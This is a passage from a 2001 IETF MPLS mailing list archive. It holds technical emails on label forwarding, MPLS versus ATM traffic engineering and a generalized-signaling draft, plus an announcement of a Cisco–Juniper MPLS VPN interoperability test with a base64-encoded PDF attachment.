>
> On the other hand, if R2 sends me these label mappings:
>
>        F2 -> Label B
>        F3 -> Label C
>
> then I forward anything in the 1.1.1.x range using Label B.
>
> This is because section 2.1 of the RFC calls for using the longest
> prefix match.  1.1.1.16/28 is favored over 1.1.1.0/24, but
> 1.1.1.16/32 beats them both.
>
>    Jack



From owner-mpls@UU.NET  Thu May  3 01:16:59 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA03640
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 01:16:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknjg12805;
	Thu, 3 May 2001 05:14:41 GMT
Received: by mail-control.mail.uu.net 
	id QQknjg20908
	for mpls-outgoing; Thu, 3 May 2001 05:14:09 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknjg20897
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 05:14:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknjg21092
	for <mpls@uu.net>; Thu, 3 May 2001 05:13:53 GMT
Received: from sktelecom.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.236.1.20])
	id QQknjg23011
	for <mpls@uu.net>; Thu, 3 May 2001 05:13:46 GMT
Received: from mrchang (localhost [127.0.0.1])
	by sktelecom.com (8.10.1/8.10.1) with SMTP id f435HBL19441;
	Thu, 3 May 2001 14:17:12 +0900 (KST)
Message-ID: <010301c0d38f$7b94b060$77131796@sktelecom.com>
From: "Rae M. Chang" <cmr@sktelecom.com>
To: "David Charlap" <david.charlap@marconi.com>
Cc: <mpls@UU.NET>
References: <008b01c0d29f$c8501b60$77131796@sktelecom.com> <3AF014AF.BFEE065B@marconi.com>
Subject: Re: A fundamental question
Date: Thu, 3 May 2001 14:11:14 +0900
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by ietf.org id BAA03640

David,

> MPLS avoids the N^2 problem in two ways:
> 1: The LSPs follow the routing protocols' shortest-paths.  Meaning
>    you don't necessarily need an LSP to get from everywhere to
>    everywhere.  Only along the shortest routed paths.

That's the point I can't understand yet. For example, if you want a 
partial meshed network consisting of a set of LSPs, then why couldn't you make
the same network with only neccessary ATM VCs (not using MPLS)? 
Aren't they essentially equivalent TE schemes? Why do they make the
N^2 number of VCs?

Rae


----- Original Message ----- 
From: "David Charlap" <david.charlap@marconi.com>
To: <mpls@UU.NET>
Sent: Wednesday, May 02, 2001 11:07 PM
Subject: Re: A fundamental question


> "Rae M. Chang" wrote:
> > 
> > I have a fundamental doutb on MPLS traffic engineering.
> > (pls take it account my poor understanding on ATM routing stuffs.)
> > What I can't figure it out is if a user part connected to the ATM
> > network can dynamically setup a SVC to the other user part. Can the
> > UNI and PNNI stuffs be used to set up it?
> 
> No.  ATM signaling and MPLS signaling are two different things.  One is
> not used to setup the other.
> 
> An ATM switch acting as LSR (a transit router) will ultimately have the
> same kind of cell-forwarding installed on its fabric with each protocol,
> but that's where the similarities end.
> 
> An ATM switch acting as LER (an edge router) has different semantics on
> the data plane.  On ingress, it must apply labels to incoming unlabeled
> traffic (or push labels if one LSP is being tunneled through another.) 
> On egress, it must be able to pop labels and make forwarding decisions
> based on the result.
> 
> > If that's true, what're the differences with the LSP setup across
> > ATM network using another signaling mechanism, or MPLS?
> > Why don't they use existing ATM signalling methods to achieve the
> > traffic engineering of MPLS?
> 
> ATM's routing and signaling protocols are closely tied to ATM's
> addressing architecture.  These protocols are not based on IP, and they
> do not scale up to networks the size of the internet.  Finally, ATM only
> works on ATM interfaces - it doesn't work over PPP, Frame Relay,
> Ethernet, or other types of interfaces that are commonly found in
> networks.
> 
> MPLS is intended to solve these problems.  The routing protocols are
> well-established IP protocols (OSPF, IS-IS, BGP).  The signaling
> protocols are designed around IP.  And MPLS works over all IP-
> compatible interfaces.  Routers of all kinds (ATM, Frame, IP, etc.) can
> interoperate in a single MPLS cloud.
> 
> > (i know of the ATM's N square complexity issue with PVC setup on the
> > IP over ATM model.  but, in my thought, you can just setup necessary
> > VCs on-demand basis like MPLS TE)
> 
> On-demand setup works fine in an enterprise network.  It doesn't work in
> a core network.  When you've got hundreds of GB/s of data flowing
> through a network, the delays needed to dynamically allocate new VCs (or
> LSPs) will almost certainly be unacceptible.
> 
> MPLS avoids the N^2 problem in two ways:
> 
> 1: The LSPs follow the routing protocols' shortest-paths.  Meaning
>    you don't necessarily need an LSP to get from everywhere to
>    everywhere.  Only along the shortest routed paths.
> 
> 2: Routers that support label merging can greatly reduce the amount
>    of resources required.  Two LSPs arriving at a single transit
>    router, that are intended to terminate at the same egress router
>    may be merged (assuming there are no QoS concerns, of course.),
>    eliminating the need for the second LSP if the downstream rouers.
> 
> -- David
> 


From owner-mpls@UU.NET  Thu May  3 01:53:47 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA08534
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 01:53:47 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknjj23561;
	Thu, 3 May 2001 05:51:43 GMT
Received: by mail-control.mail.uu.net 
	id QQknjj24043
	for mpls-outgoing; Thu, 3 May 2001 05:51:06 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknjj23981
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 05:50:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknjj03977
	for <mpls@uu.net>; Thu, 3 May 2001 05:49:56 GMT
Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQknjj19655
	for <mpls@uu.net>; Thu, 3 May 2001 05:49:54 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000043869@fsnt.future.futsoft.com> for <mpls@uu.net>;
 Thu, 03 May 2001 11:25:01 +0530
Received: from srikn (srikn.future.futsoft.com [10.20.6.48])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id f435n1w28045
	for <mpls@uu.net>; Thu, 3 May 2001 11:19:02 +0530
Received: by localhost with Microsoft MAPI; Thu, 3 May 2001 11:20:18 +0530
Message-Id: <01C0D3C3.08AFDB40.srikn@future.futsoft.com>
From: Srikn <srikn@future.futsoft.com>
Reply-To: "srikn@future.futsoft.com" <srikn@future.futsoft.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Doubt in mpls-generalized-signaling
Date: Thu, 3 May 2001 11:20:17 +0530
Organization: FSL
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

I have few doubts in mpls-generalized-signaling draft.

1.)	In the newer version of mpls-generalized-signaling draft, "Generalized 
Label Request with SONET/SDH Label Range" (from the earlier version of 
mpls-generalized-signaling (02) draft), is moved to a new draft. Can 
someone give me a pointer to this new draft?
2.)	How does an ingress decide about the nature of LSP to be requested 
 (whether unidirectional or Bidirectional)? Is there any mib object for 
this or is it by default Bidirectional if supportable.

Thanks in advance,
Srikanth Narayanan.



From owner-mpls@UU.NET  Thu May  3 06:28:07 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA18160
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 06:28:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknkb02604;
	Thu, 3 May 2001 10:25:07 GMT
Received: by mail-control.mail.uu.net 
	id QQknkb19718
	for mpls-outgoing; Thu, 3 May 2001 10:24:18 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknkb19710
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 10:24:14 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknkb19121
	for <mpls@uu.net>; Thu, 3 May 2001 10:24:03 GMT
Received: from sanmiguel.telindus.es by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [213.201.14.242])
	id QQknkb01296
	for <mpls@uu.net>; Thu, 3 May 2001 10:23:39 GMT
Received: by sanmiguel.madrid.telindus.es with Internet Mail Service (5.5.2448.0)
	id <JP8GWYWM>; Thu, 3 May 2001 12:22:32 +0200
Message-ID: <EF7BEF309A5BD311AD2F00508B4A97C601F0749F@sanmiguel.madrid.telindus.es>
From: Javier Antich <javier.antich@telindus.es>
To: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: RFC 2547 MPLS VPN Interop Test. Cisco - Juniper.
Date: Thu, 3 May 2001 12:22:32 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C0D3BA.F6C35C70"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C0D3BA.F6C35C70
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,=20

    Fore those interested, we have been doing some tests with the just
published code JUNOS 4.4 with MPLS VPNs. MPLS VPNs, as far as we have =
tested
interoperate between Cisco and Juniper. For more details see the =
attached
pdf.
    Hope this helps someone.

Regards.
Javier. <<RFC 2547 MPLS VPN Interoperability Test Cisco-Juniper.pdf>>=20

                                          ^   ^
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3Dooo=3D=3D=3D=3D(.)v(.)=3D=3D=3D=
=3Dooo=3D=3D=3D=3D=3D
Javier Antich Romaguera
Network Consultant
------------------------------------------------------------------------=
---
TELINDUS=20
Pza. Ciudad de Viena, 6-2=BA
28040 Madrid=20
------------------------------------------------------------------------=
---
javier.antich@telindus.es
tel: +34 91 456 00 08
fax: +34 91 536 10 74
------------------------------------------------------------------------=
---
For more information about our products and services,
please visit our website http://www.telindus.com
------------------------------------------------------------------------=
---
Full connectivity & mobility
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3Dooo0=3D=3D=3D0ooo=3D=
=3D=3D=3D=3D=3D=3D=3D




------_=_NextPart_000_01C0D3BA.F6C35C70
Content-Type: application/octet-stream;
	name="RFC 2547 MPLS VPN Interoperability Test Cisco-Juniper.pdf"
Content-Disposition: attachment;
	filename="RFC 2547 MPLS VPN Interoperability Test Cisco-Juniper.pdf"
Content-Transfer-Encoding: base64

JVBERi0xLjINJeLjz9MNCjg5OSAwIG9iag08PCANL0xpbmVhcml6ZWQgMSANL08gOTAyIA0vSCBb
IDkyOCA1NjMgXSANL0wgMjMyNjA1IA0vRSAxNjQzOSANL04gMzggDS9UIDIxNDUwNiANPj4gDWVu
ZG9iag0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICB4cmVmDTg5OSAxOCANMDAwMDAwMDAxNiAwMDAwMCBuDQowMDAwMDAwNzI5IDAwMDAwIG4NCjAw
MDAwMDA3ODYgMDAwMDAgbg0KMDAwMDAwMTQ5MSAwMDAwMCBuDQowMDAwMDAxNzI4IDAwMDAwIG4N
CjAwMDAwMDE3NjcgMDAwMDAgbg0KMDAwMDAwMTc4OSAwMDAwMCBuDQowMDAwMDAyMzQ0IDAwMDAw
IG4NCjAwMDAwMDIzNjUgMDAwMDAgbg0KMDAwMDAwMzQ2MCAwMDAwMCBuDQowMDAwMDAzNzMyIDAw
MDAwIG4NCjAwMDAwMDM4MjMgMDAwMDAgbg0KMDAwMDAwNDkyMSAwMDAwMCBuDQowMDAwMDA1MjAz
IDAwMDAwIG4NCjAwMDAwMDUyNDUgMDAwMDAgbg0KMDAwMDAwNTI2OSAwMDAwMCBuDQowMDAwMDAw
OTI4IDAwMDAwIG4NCjAwMDAwMDE0NjkgMDAwMDAgbg0KdHJhaWxlcg08PA0vU2l6ZSA5MTcNL0lu
Zm8gODg4IDAgUiANL0VuY3J5cHQgOTAxIDAgUiANL1Jvb3QgOTAwIDAgUiANL1ByZXYgMjE0NDk1
IA0vSURbPDBhMDE1M2ZjZTdhNzU0ZDAyMzIxNTNkMmE2MzUyYTAyPjwwYTAxNTNmY2U3YTc1NGQw
MjMyMTUzZDJhNjM1MmEwMj5dDT4+DXN0YXJ0eHJlZg0wDSUlRU9GDSAgICANOTAwIDAgb2JqDTw8
IA0vUGFnZXMgODk4IDAgUiANL1R5cGUgL0NhdGFsb2cgDT4+IA1lbmRvYmoNOTAxIDAgb2JqDTw8
IA0vRmlsdGVyIC9TdGFuZGFyZCANL1YgMSANL1IgMiANL08gKA/F0fxzENnC3MihuJ3vIaeEpXKq
NyQ0Fzek3YTp/32JKQ0vVSAoot3/G9DhLiCDAk5UnO9sIBZxWSROpriq1qHQ71JsL34pDS9QIDY1
NDc2IA0+PiANZW5kb2JqDTkxNSAwIG9iag08PCAvUyA3MjIgL0ZpbHRlciAvRmxhdGVEZWNvZGUg
L0xlbmd0aCA5MTYgMCBSID4+IA1zdHJlYW0NCgNKai+lYolAcqb6guimN/6ur49/Z8L3uYQTV5HO
MKvRd/oAmVeYnr9m0sem94AOsXWPl3a89T50CETL9e8iixJbyZxrP0higqipcVN611FGeh9nLzBp
PXBxyrVOdv8e2yGnysZpXtES3G0JeBObdSWGZ7T2JV7o/E9B/PuSC/GpRdXZfx/wu7j7m8pIsOWf
CpAGxEUUpugo2F+sGBCqAc0bgkJAj40DJcXVfU74UUeq6oWwZwm56v0OnQrGjPWPWQtdJEpsYepv
LvMlGaVY4PiY5InjarLsC44NKw5r8FUPfXB9ZpilpGwtHsCAMSUc+UWuD/EtSbHcjUOOKmYrRFUk
SVxOeuY26FRiG2L9SS8UTJcqiwL7A6gZVMvRlC9A6uZ0IzaWMnLnnzrADi7M/wlETe/FmCe5V0Wu
Mxy4cGe61m3UPCDM9rYjnfz4KtmvldMpySWPnS1vGEQra8MoAen9AxTExWHqMEU1VxYIv7OidFwm
HUo+2UeETdnLzuz+SEl4KOD9yzhaV9zyg9VHqHTkAQBqy4GvEeO+gtqiXpDyK5mHUMR3spPj5POl
t7rlzXra2jl0VZshqZjJcX/S/2J6jwZ5whMNZW5kc3RyZWFtDWVuZG9iag05MTYgMCBvYmoNNDU0
IA1lbmRvYmoNOTAyIDAgb2JqDTw8IA0vVHlwZSAvUGFnZSANL1BhcmVudCA4ODkgMCBSIA0vUmVz
b3VyY2VzIDw8IC9Gb250IDw8IC9GMCA5MDcgMCBSIC9GMSA5MTAgMCBSID4+IC9YT2JqZWN0IDw8
IC9pbTEgOTE0IDAgUiA+PiAvUHJvY1NldCA5MTIgMCBSID4+IA0vQ29udGVudHMgOTAzIDAgUiAN
L01lZGlhQm94IFsgMCAwIDU5NSA4NDIgXSANL0Nyb3BCb3ggWyAwIDAgNTk1IDg0MiBdIA0vUm90
YXRlIDAgDT4+IA1lbmRvYmoNOTAzIDAgb2JqDVsgDTkwNSAwIFIgOTA5IDAgUiANXQ1lbmRvYmoN
OTA0IDAgb2JqDTQ3NSANZW5kb2JqDTkwNSAwIG9iag08PCAvTGVuZ3RoIDkwNCAwIFIgL0ZpbHRl
ciAvRmxhdGVEZWNvZGUgPj4gDXN0cmVhbQ0KdAWTe8pZ4OSa+O4lvZ+eHYyp8dcwra194lQHkH9f
hsJSsVOi5Tgb/hmE4xIOULkaMVgsWTeluHsNlIBz/QHLHZjXt8W5y2eInE+19UTGkBsk5P9DrkWE
RqOmELAddJbcpAVINfDyLAYqsw8cQDIf7eor1oIh7pH2xAkxTiRpTWIrFtjjgfUZeKpUNXzWpuQY
i3TMpw+cPJd5p/fI3XS0QUYNlIo4OTOdMH0Q2iFBgGgw3ObLopBD/J97y5VP8YS3F9TsnqA3ukD0
rhsGkLOucvbuKqLaqkTC3YKTpt9Ib4VoZlXfhFsYUFtJdcW9L59kgehFhHBTe0HwvPMligy2yFVK
QjBmJ7SDKoRADEFk3oMH05dWPewLAl6c5OpACh5qG8yRHBpSBH5B7I/W9Fw+DxXc++aCEY4paotP
XP2FbPexZdgHEVL7KIi7ivVcb+MRtyYbqT7DJ42QhDheKUa4EoW/ubmQ6reNsiPOyisiHZ5s9tKs
J6T3c2hslcWPFHfpxVSJjYBaXjkDHQu+f98gh83dCF4fpb2RBU+1WIj2czTwHTjXkkPNyzOVsYEp
e552SMZwLPXFcsuJJh4UZ3M1chlczCmxFjJ2aUOr5hDPAZ2nIcodb5zM2+No8A1lbmRzdHJlYW0N
ZW5kb2JqDTkwNiAwIG9iag0xMSANZW5kb2JqDTkwNyAwIG9iag08PCANL1R5cGUgL0ZvbnQgDS9T
dWJ0eXBlIC9UcnVlVHlwZSANL05hbWUgL0YwIA0vQmFzZUZvbnQgL0FyaWFsIA0vRmlyc3RDaGFy
IDMyIA0vTGFzdENoYXIgMjU1IA0vV2lkdGhzIFsgMjc1IDMyNyAzNjIgNTUxIDU1MSA4OTYgNjcy
IDE4OSAzMjcgMzI3IDM5NiA1ODYgMjc1IDMyNyAyNzUgMjc1IDU1MSANNTUxIDU1MSA1NTEgNTUx
IDU1MSA1NTEgNTUxIDU1MSA1NTEgMjc1IDI3NSA1ODYgNTg2IDU4NiA1NTEgMTAxNyANNjcyIDY3
MiA3MjQgNzI0IDY3MiA2MDMgNzc1IDcyNCAyNTggNTAwIDY3MiA1NTEgODEwIDcyNCA3NzUgNjcy
IA03NzUgNzI0IDY3MiA2MjAgNzI0IDY3MiAxMDAwIDYzNyA2NTUgNjAzIDI3NSAyNzUgMjc1IDQx
MyA1NTEgMzI3IA01NTEgNTUxIDUwMCA1NTEgNTUxIDI3NSA1NTEgNTUxIDIyNCAyMjQgNTE3IDIy
NCA4NDQgNTUxIDU1MSA1NTEgDTU1MSAzMjcgNTAwIDI3NSA1NTEgNTAwIDcwNiA0ODIgNDY1IDQ4
MiAzMjcgMjQxIDMyNyA1ODYgNzU4IDU4NiANNzU4IDU4NiA1ODYgNTg2IDU4NiA1ODYgNTg2IDU4
NiA1ODYgNTg2IDU4NiA1ODYgNzU4IDU4NiA3NTggNzU4IA01ODYgNTg2IDU4NiA1ODYgNTg2IDU4
NiA1ODYgNTg2IDU4NiA1ODYgNTg2IDU4NiA3NTggNTg2IDU4NiAyNzUgDTMyNyA1NTEgNTUxIDU1
MSA1NTEgMjQxIDU1MSAzMjcgNzQxIDM2MiA1NTEgNTg2IDMyNyA3NDEgNTUxIDM5NiANNTUxIDMy
NyAzMjcgMzI3IDU2OCA1MzQgMjc1IDMyNyAzMjcgMzYyIDU1MSA4MjcgODI3IDgyNyA2MDMgNjcy
IA02NzIgNjcyIDY3MiA2NzIgNjcyIDEwMDAgNzI0IDY3MiA2NzIgNjcyIDY3MiAyNTggMjU4IDI1
OCAyNTggNzI0IA03MjQgNzc1IDc3NSA3NzUgNzc1IDc3NSA1ODYgNzc1IDcyNCA3MjQgNzI0IDcy
NCA2NTUgNjcyIDYwMyA1NTEgDTU1MSA1NTEgNTUxIDU1MSA1NTEgODk2IDUwMCA1NTEgNTUxIDU1
MSA1NTEgMjU4IDI1OCAyNTggMjU4IDU1MSANNTUxIDU1MSA1NTEgNTUxIDU1MSA1NTEgNTUxIDYw
MyA1NTEgNTUxIDU1MSA1NTEgNDY1IDU1MSA0NjUgXSANL0VuY29kaW5nIC9XaW5BbnNpRW5jb2Rp
bmcgDS9Gb250RGVzY3JpcHRvciA5MDggMCBSIA0+PiANZW5kb2JqDTkwOCAwIG9iag08PCANL1R5
cGUgL0ZvbnREZXNjcmlwdG9yIA0vRm9udE5hbWUgL0FyaWFsIA0vRmxhZ3MgMzIgDS9Gb250QkJv
eCBbIC0yNTAgLTIxMiAxMjIwIDEwNTUgXSANL01pc3NpbmdXaWR0aCAyNzYgDS9TdGVtViA4MCAN
L1N0ZW1IIDgwIA0vSXRhbGljQW5nbGUgMCANL0NhcEhlaWdodCA5MDUgDS9YSGVpZ2h0IDQ1MyAN
L0FzY2VudCA5MDUgDS9EZXNjZW50IC0yMTIgDS9MZWFkaW5nIDE1MCANL01heFdpZHRoIDEwMTcg
DS9BdmdXaWR0aCA0NDEgDT4+IA1lbmRvYmoNOTA5IDAgb2JqDTw8IC9MZW5ndGggOTA2IDAgUiAv
RmlsdGVyIC9GbGF0ZURlY29kZSA+PiANc3RyZWFtDQoRkeJOKy3qCoTRgQ1lbmRzdHJlYW0NZW5k
b2JqDTkxMCAwIG9iag08PCANL1R5cGUgL0ZvbnQgDS9TdWJ0eXBlIC9UcnVlVHlwZSANL05hbWUg
L0YxIA0vQmFzZUZvbnQgL0FyaWFsLEJvbGQgDS9GaXJzdENoYXIgMzIgDS9MYXN0Q2hhciAyNTUg
DS9XaWR0aHMgWyAyODAgMzIwIDQ3MCA1NjAgNTYwIDg4MCA3MjAgMjQwIDMzMCAzMzAgMzkwIDU4
MCAyODAgMzMwIDI4MCAyODAgNTYwIA01NjAgNTYwIDU2MCA1NjAgNTYwIDU2MCA1NjAgNTYwIDU2
MCAzNDAgMzQwIDU4MCA1ODAgNTgwIDYxMCA5ODAgDTY5MCA3MjAgNzIwIDcyMCA2NzAgNjEwIDc4
MCA3MjAgMjgwIDU2MCA3MjAgNjEwIDgzMCA3MjAgNzgwIDY3MCANNzgwIDcyMCA2NzAgNjEwIDcy
MCA2NzAgOTUwIDY3MCA2NjAgNjEwIDMzMCAyODAgMzMwIDU4MCA1NjAgMzMwIA01NjAgNjEwIDU2
MCA2MTAgNTYwIDMzMCA2MTAgNjEwIDI4MCAyNzAgNTYwIDI4MCA4OTAgNjEwIDYxMCA2MTAgDTYx
MCAzOTAgNTYwIDMzMCA2MTAgNTQwIDgwMCA1NjAgNTMwIDUwMCAzOTAgMjgwIDM5MCA1ODAgNzUw
IDU4MCANNzUwIDU4MCA1ODAgNTgwIDU4MCA1ODAgNTgwIDU4MCA1ODAgNTgwIDU4MCA1ODAgNzUw
IDU4MCA3NTAgNzUwIA01ODAgNTgwIDU4MCA1ODAgNTgwIDU4MCA1ODAgNTgwIDU4MCA1ODAgNTgw
IDU4MCA3NTAgNTgwIDU4MCAyODAgDTM0MCA1NjAgNTYwIDU2MCA1NjAgMjgwIDU2MCAzMzAgNzQw
IDM3MCA1NjAgNTgwIDMzMCA3NDAgNTUwIDQwMCANNTUwIDMzMCAzMzAgMzMwIDU4MCA1NjAgMjgw
IDMyMCAzMzAgMzcwIDU2MCA4MzAgODMwIDgzMCA2MTAgNjkwIA02OTAgNjkwIDY5MCA2OTAgNjkw
IDEwMDAgNzIwIDY3MCA2NzAgNjcwIDY3MCAyODAgMjgwIDI4MCAyODAgNzIwIA03MjAgNzgwIDc4
MCA3ODAgNzgwIDc4MCA1ODAgNzgwIDcyMCA3MjAgNzIwIDcyMCA2NjAgNjcwIDYxMCA1NjAgDTU2
MCA1NjAgNTYwIDU2MCA1NjAgODkwIDU2MCA1NjAgNTYwIDU2MCA1NjAgMjgwIDI4MCAyODAgMjgw
IDYxMCANNjEwIDYxMCA2MTAgNjEwIDYxMCA2MTAgNTUwIDYxMCA2MTAgNjEwIDYxMCA2MTAgNTMw
IDYxMCA1MzAgXSANL0VuY29kaW5nIC9XaW5BbnNpRW5jb2RpbmcgDS9Gb250RGVzY3JpcHRvciA5
MTEgMCBSIA0+PiANZW5kb2JqDTkxMSAwIG9iag08PCANL1R5cGUgL0ZvbnREZXNjcmlwdG9yIA0v
Rm9udE5hbWUgL0FyaWFsLEJvbGQgDS9GbGFncyAxNjQxNiANL0ZvbnRCQm94IFsgLTI1MCAtMjEy
IDEyMDAgMTA1NSBdIA0vTWlzc2luZ1dpZHRoIDMzMCANL1N0ZW1WIDE1MyANL1N0ZW1IIDE1MyAN
L0l0YWxpY0FuZ2xlIDAgDS9DYXBIZWlnaHQgOTA1IA0vWEhlaWdodCA0NTMgDS9Bc2NlbnQgOTA1
IA0vRGVzY2VudCAtMjEyIA0vTGVhZGluZyAxNTAgDS9NYXhXaWR0aCAxMDAwIA0vQXZnV2lkdGgg
NDc5IA0+PiANZW5kb2JqDTkxMiAwIG9iag1bIA0vUERGIC9UZXh0IC9JbWFnZUMgDV0NZW5kb2Jq
DTkxMyAwIG9iag0xMDc1MSANZW5kb2JqDTkxNCAwIG9iag08PCAvVHlwZSAvWE9iamVjdCAvU3Vi
dHlwZSAvSW1hZ2UgL05hbWUgL2ltMSAvRmlsdGVyIC9EQ1REZWNvZGUgL1dpZHRoIDQxMyANL0hl
aWdodCA2OCAvQml0c1BlckNvbXBvbmVudCA4IC9Db2xvclNwYWNlIC9EZXZpY2VSR0IgL0xlbmd0
aCA5MTMgMCBSID4+IA1zdHJlYW0NComp5mfpNTzVP4NpunRvbFeHa6h7lZdh27Z01jgGMuHtdUoV
ncy9thRYEDToJal3aERU+thRRn+BVOsuuSAWwaA/Kcv2ZSsEpt71imKQtl5Efia2fu8V+N+dppTF
6+O3EIE6DW40yTkU0LKaCYQzBlDx5UxbuhjmA46JOlbdsuqARlUrs5IV5K5rXOi9mJonBadJ1sBB
FsE1AjvKwY8IVRzt1Bx4zeTrMksBRWe1QvL6HjstLJ7nAss53Oz+ekj0Bu9rLEaqEYB7NN+7lj8t
Wriwh+Nh78dwX4mrXRa6vQ95W3MSFcgu8dIE+RGbGV1aQpcGcpStaXFmW02C+NQbt33fv1v4txDU
avDFOIZ4tRZP7Ff9AZrfrJQQUTykeZySsLtyrK479SR1lxqHAH8tGZNLwqgs4chzAAAkGmlEpnCN
oxAkpUEWE+iH7KX4AxltN18iJave5Nyn9wj76QJSgyJnalLrdQXlZMVeRHyIXv0j+41Xn/gmLsBt
1RlqIkqXJY3CO1hgsI8/kyNmRoQB7FC2lzIz1jAO+iV0VdXXvOB8LMxAWMekzSn3IrcvLEnbrgaX
hkS+Hq+aPKdk6HT+7yQBJ2yqFC/2ehgjXvRBdDDMsgNiaZYXNO84fMT9PwKkU091mBMNThwCDZXt
9Ch+9p7PDAqGL3dpx+i7/GTIsAx04kPuOlX5V/jTtbDbafXJzdkVG12KLxWJpIgiJUpRUK4dCjbQ
QYtvkk7VEf5MapaRBecfls4nhsB0RxI+ehPp+0wsFzrOhLLZ0be/oMaLmTTcVW8uXi3IfdNuIrvT
udT9tS76zrvCuubLhrZUzfc2whC+3et4caVjlsyVZk5o0q57m7G6UsOD9TQP0za57Kb95+CK1Xiq
0J9QqI6Bg+3Rv2pIXRcf40bnlE7QcYMr8viPUoJud2UMTkL/M7ZabJKGKX4LlOJM+e2h319cdtr7
/Hz+y3bCWO7G7TDdU2XQZxeOygvb6ANqNdvWSkOVpWm+9FA/egGnz6UNY2tkoyr6uLtF8+K4cUcS
6hUo1x1sl96CSikSvINlzJPoBZG8q32uxz9CeyCJscPob9+v5TF6Ua/AS3axApFVoQLr8fDchiVp
N/LHbLMDCL3IB8KmJ52Q4SUawPCKCjMR+cZ6zksXHsL5uCVOh+mehkVzP7RNEqDV7ICU8uT1fyPF
iRvm30Lg7xOG2bpCRIdsaILG0u7Y8JUJe+4UcMWWloHKI3kNlmXMna9Oi/FfomZ5KiuI60kVcenY
XZefGP1t6yBPsK8XA2adMocbjaXwmD3kpexBE5LIIDu+16ttmH5Ap5FPNljUpcTvYXPaBBPhl9O0
7sEyyhZ2zY1cHnyP6uCMdx5A+5HTh6KXeIKO/TVL9ovVgIrf94qbwNE+PI05FuZJUTeYfvq4S+EM
3PHWpvRyF8SxSGil6BI3O8w+EioH3fXkIUzsHqr9Tgx/7pIPNQa/74qRZGJwd2yHr46oZX77cgTl
CHmneJql6XLo+FyZM+cb7tPeWKvmdmpYxZT7uOnrrb8eQqHaScO9NuTVApRWAMap8z6Rae5s9reI
v75Ix38QSr0NE/wgdFEBhGxlVXywdt4qz03WRc6zxwS5C3K3FfoijGFOBNSAS65xBzW8xK1uPWG5
Bl5kL4NDoMMzYpTNQR+aPF2SaAzB+E99Q9IFvFnWSZXydUQ81XRIKBJJXvF3t/JQ7lKesfzRUW/y
0B1dna/r8Bjvpptj2ESFXPGzGNhBKu/54UGQ1U+IjPkKX7EjwACJwh6+7fW6YK8ZoLCamgolmUyj
